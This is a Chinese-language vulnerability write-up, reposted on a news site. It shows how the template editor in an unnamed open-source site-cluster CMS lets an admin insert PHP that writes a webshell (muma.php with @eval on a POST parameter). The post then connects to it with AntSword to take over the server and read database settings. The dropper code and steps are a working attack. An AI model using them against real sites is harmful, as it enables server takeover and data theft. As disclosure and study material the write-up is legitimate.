Redian新闻
>
某站群命令执行之官方审核

某站群命令执行之官方审核

科技

简介

某站群原来是我们内部自己开发使用的一套程序,后来看到很多人有相似的需求,团队决定发布出来免费开源给大家使用。某公司某站群最新版本存在文件上传漏洞,攻击者可利用该漏洞获取服务器控制权限。

适合用在什么场景?推荐有建站基础,懂得SEO的专业人士使用,可用于养域名养权重,关键词流量站、蜘蛛池、企业站乃至个人博客都可以使用。

下载程序

官网下载:https://www.*******.com/

下载地址点击以后跳转此页面,点击下载谷歌是没有反应的,360和ie是可以的,谷歌浏览器报错 Mixed Content: The site at '<URL>' was loaded over a secure connection, but the file at '<URL>' was loaded over an insecure connection. This file should be served over HTTPS. This download has been blocked. See <URL> for more details. 提示遇到https和http不兼容问题


打开调试,直接点击url就可以下载或者是改成https点击下载就可以下载了。但是官方审核到了三级验证中了,点击下载没反应就直接给驳回了。

然后我又重新在文档做了说明,并下载了安装包放到附件里边重新提交的,又要从一级审核开始。

官方大人审核,不敢多言,直接上过程。

搭建过程

下载安装包安装完以后, 此时登录后台程序:

后台效果

进入后台以后:点击系统设置->模板风格->可以下载其他模板以后,点击编辑模板,站点选择该模板。

复制此段程序:找到首页模板,复制进去,点击保存就可以了。

保存完,运行前端,会在根目录下生成文件。

会在根目录下生成muma.php

恶意代码:

<?php

$file=fopen("muma.php","w");//根目录创建muma.php文件
fwrite($file,'<');
fwrite($file,'?');
fwrite($file,'php');
fwrite($file,' @eval($_POST["cmd"]);');
fwrite($file,'?>');

?>

运行完以后,域名+muma.php

使用蚁剑链接木马,获得服务器权限:

查看数据配置信息:

代码分析

点击保存,获取到这个地址。

找到保存方法,获取body内容,stripslashes 函数对内容反斜杠处理,对非法内容并没有过滤。

至此,通过系统后台文件编辑,通过非法代码,运行文件,实现写入木马程序执行,拿到了服务器全部权限、源码,以及数据库信息,造成了很严重的后果。

E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
《大尹行》其二最新! 香港通关深圳新规执行! 未来取消集中隔离, 全面放开? 中国官方回应电通创意任命中国区首席执行官;Media Arts Lab任命执行创意总监(广告狂人日报)大丽花终于开啦澳洲境内临居签证体检取消,签证审核加速!马哥学员 | 初次入行16K!这位0基础建筑男的转行之路绝了!EB-1A移民局官方审理数据披露:2022年第三季度获批率高达73.1%!突发:北京APS审核部下周一之后的审核临时全部取消没有月亮的中秋苹果iOS审核新增广告买量约束条款:不准跳过iOS内购搞促销!APS审核一键扫盲|有关“审核材料准备”的10个问题!从审核人员视角,详细解读企业上市审核要点(附99案例)李嘉诚在中国持续减持套现超2500亿,邮储银行之后又会套现是谁?B站英语内容审核, 5-8K·15薪重磅:最新IPO审核指引(从未如此详尽)大改革!马斯克接管推特:内容审核大变!解聘90%高管!美国明星纷纷离场!上市审核“加速” 北交所扩容进行时99个案例,前上市审核员为你解答IPO上市审核要点过年了!四款过审!最新IDEAS审核结果公布恭喜同学通过实习拿到九大投行之一UBS全职Offer!莱了 | 带着帐篷去旅行之七终结篇--Massasoit State Park重磅!上交所、深交所公布第一届上市审核委员会、并购重组审核委员会委员候选人名单莱了| 带着帐篷去旅行之六 | 体验度假式营地【随笔】孵小鸡儿~IPO动态 | 一文读懂IPO各板块审核流程华玉通软发布“云雀”执行管理中间件,为智能驾驶关键应用提供确定性执行保障刚刚!澳洲突然狂发PR!达10年最高!中国人超爱的澳洲签证开始抽签!州政府加强审核,好消息越来越多了...通过 SSH 在远程 Linux 系统上执行命令 | Linux 中国汉服走秀火上热搜!全员绝美,神仙打架,这才是东方审美!什么才是上市审核机构的核心关切?前上市审核员为你解答!APS本科免审核程序又来了!针对23夏季+23/24冬季国馆说|度德而处之,量力而行之双11光棍节线上联谊交友|云端社交狼人ktv王者染钟楼绿色poker!圈子靠谱需审核!凡人趣日,看进来:2022商业年终总结:下行之中的拼命内卷
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。